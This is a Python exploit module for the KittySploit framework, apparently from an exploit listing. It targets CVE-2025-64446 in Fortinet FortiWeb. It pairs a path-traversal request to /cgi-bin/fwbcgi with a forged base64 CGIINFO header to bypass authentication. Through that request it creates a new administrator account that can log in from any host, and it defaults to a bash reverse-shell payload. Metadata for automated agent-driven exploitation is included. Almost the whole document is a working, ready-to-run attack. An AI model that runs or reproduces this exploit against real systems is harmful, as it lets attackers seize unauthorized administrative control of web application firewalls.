Fortinet FortiWeb CVE-2025-64446 Authentication Bypass
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import json
import base64
import random
import string
class Module(Exploit, Http_client):
__info__ = {
"name": "Fortinet FortiWeb CVE-2025-64446 Authentication Bypass",
"description": "FortiWeb v8.0.0 - Authentication bypass via CGI parsing vulnerability allowing unauthorized admin access (CVE-2025-64446)",
"author": "KittySploit Team",
"cve": "CVE-2025-64446",
"platform": Platform.UNIX,
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"platform": Platform.UNIX,
"category": PayloadCategory.CMD,
},
"references": [
"CVE-2025-64446",
"https://nvd.nist.gov/vuln/detail/CVE-2025-64446",
"https://www.fortinet.com/",
],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
},
}
path = OptString("/", "Base URI path (prefix before /api/v2.0)", required=False)
username = OptString("", "Username for new admin user (random if empty)", required=False)
password = OptString("", "Password for new admin user (random if empty)", required=False)
access_profile = OptString("prof_admin", "Access profile for new user", required=False)
def _generate_cgiinfo_header(self):
cgi_data = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin",
}
json_str = json.dumps(cgi_data, separators=(", ", ": "))
return base64.b64encode(json_str.encode()).decode()
def _generate_user_data(self):
username = self.username or "".join(random.choices(string.ascii_letters + string.digits, k=8))
password = self.password or "".join(random.choices(string.ascii_letters + string.digits, k=12))
user_data = {
"data": {
"q_type": 1,
"name": username,
"access-profile": self.access_profile,
"access-profile_val": "0",
"trusthostv4": "0.0.0.0/0",
"trusthostv6": "::/0",
"last-name": "",
"first-name": "",
"email-address": "",
"phone-number": "",
"mobile-number": "",
"hidden": 0,
"comments": "",
"sz_dashboard": -1,
"type": "local-user",
"type_val": "0",
"admin-usergrp_val": "0",
"wildcard_val": "0",
"accprofile-override_val": "0",
"sshkey": "",
"passwd-set-time": 0,
"history-password-pos": 0,
"history-password0": "",
"history-password1": "",
"history-password2": "",
"history-password3": "",
"history-password4": "",
"history-password5": "",
"history-password6": "",
"history-password7": "",
"history-password8": "",
"history-password9": "",
"force-password-change": "disable",
"force-password-change_val": "0",
"password": password,
}
}
return user_data, username, password
def check(self):
try:
print_info(f"Checking {self.target}:{self.port} for CVE-2025-64446...")
exploit_path = (
f"{self.path.rstrip('/')}/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"
)
cgiinfo = self._generate_cgiinfo_header()
headers = {
"CGIINFO": cgiinfo,
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Connection": "keep-alive",
}
test_data = {"data": {"q_type": 1, "name": "test_check"}}
response = self.http_request(
method="POST",
path=exploit_path,
headers=headers,
data=json.dumps(test_data),
timeout=10,
)
if response and response.status_code == 200:
try:
response_json = response.json()
if "results" in response_json or "status" in response_json:
return {
"vulnerable": True,
"reason": "Endpoint is accessible and returns expected structure",
"confidence": "high",
}
except (json.JSONDecodeError, TypeError):
pass
return {
"vulnerable": True,
"reason": "Endpoint is accessible (HTTP 200)",
"confidence": "medium",
}
return {
"vulnerable": False,
"reason": f'Endpoint returned status {response.status_code if response else "no response"}',
"confidence": "medium",
}
except Exception as e:
return {
"vulnerable": False,
"reason": f"Check failed: {e}",
"confidence": "low",
}
def run(self):
exploit_path = f"{self.path.rstrip('/')}/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"
print_info(f"Target: {self.target}:{self.port}")
print_info(f"Exploit path: {exploit_path}")
print_warning("CVE-2025-64446: This vulnerability allows unauthorized admin access")
cgiinfo = self._generate_cgiinfo_header()
print_info(f"CGIINFO header: {cgiinfo[:50]}...")
user_data, username, password = self._generate_user_data()
print_info(f"Creating admin user: {username}")
print_info(f"Password: {password}")
print_info(f"Access profile: {self.access_profile}")
headers = {
"CGIINFO": cgiinfo,
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/json",
"Connection": "keep-alive",
}
print_info("Sending exploit request...")
try:
response = self.http_request(
method="POST",
path=exploit_path,
headers=headers,
data=json.dumps(user_data),
timeout=30,
)
if not response:
print_error("No response received from server")
return False
print_info(f"Response status: {response.status_code}")
if response.status_code == 200:
try:
response_json = response.json()
if "results" in response_json:
results = response_json["results"]
if "name" in results and results["name"] == username:
print_success("Exploit executed successfully!")
print_success(f"Admin user '{username}' created with password '{password}'")
print_info(f"Access profile: {results.get('access-profile', 'N/A')}")
print_info(f"User type: {results.get('type', 'N/A')}")
print_info("Full response:")
print_info(json.dumps(response_json, indent=2))
return True
print_warning("Request succeeded but user creation may have failed")
print_info("Response:")
print_info(json.dumps(response_json, indent=2))
return True
print_warning("Unexpected response structure")
print_info("Response:")
print_info(response.text[:500])
return True
except json.JSONDecodeError:
print_warning("Response is not valid JSON")
print_info(f"Response text: {response.text[:500]}")
if response.status_code == 200:
print_success("HTTP 200 received - exploit may have succeeded")
return True
return False
print_error(f"Exploit failed: HTTP {response.status_code}")
print_info(f"Response: {response.text[:500]}")
return False
except Exception as e:
print_error(f"Exploitation failed: {e}")
return False
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10 Jul 2026 11:31Current
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